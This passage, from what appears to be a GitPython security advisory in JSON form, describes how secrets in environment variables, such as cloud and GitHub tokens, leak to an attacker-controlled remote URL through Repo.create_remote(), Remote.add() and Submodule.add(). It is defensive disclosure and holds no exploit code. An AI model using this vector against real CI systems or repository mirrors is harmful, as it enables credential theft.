(`AWS_SECRET_ACCESS_KEY`, `GITHUB_TOKEN`, CI/CD tokens) is disclosed to an attacker who controls a remote URL passed to `Repo.create_remote()` / `Remote.add()`. The secret is expanded into `.git/config` immediately and transmitted over the network (DNS + HTTP) on the next `fetch`/`pull`/`remote update`. This is the documented \"import repository from URL\" attacker model of GHSA-rwj8-pgh3-r573 \u2014 CI servers, git-hosting mirrors, and dependency scanners \u2014 applied to the add-a-remote flow, which the clone-only fix did not cover. The same disclosure reaches `.gitmodules` (a committable file) via `Submodule.add()`.",
  "id": "GHSA-94p4-4cq8-9g67",
  "modified": "2026-07-24T21:45:16Z",
  "published": "2026-07-24T21:45:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/commit/863417457a0633db7ea5aed4fd01e0b291a41162"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gitpython-developers/GitPython"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.55"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573)"
}

No mitigation information available for this CWE.

No CAPEC attack patterns related to this CWE.

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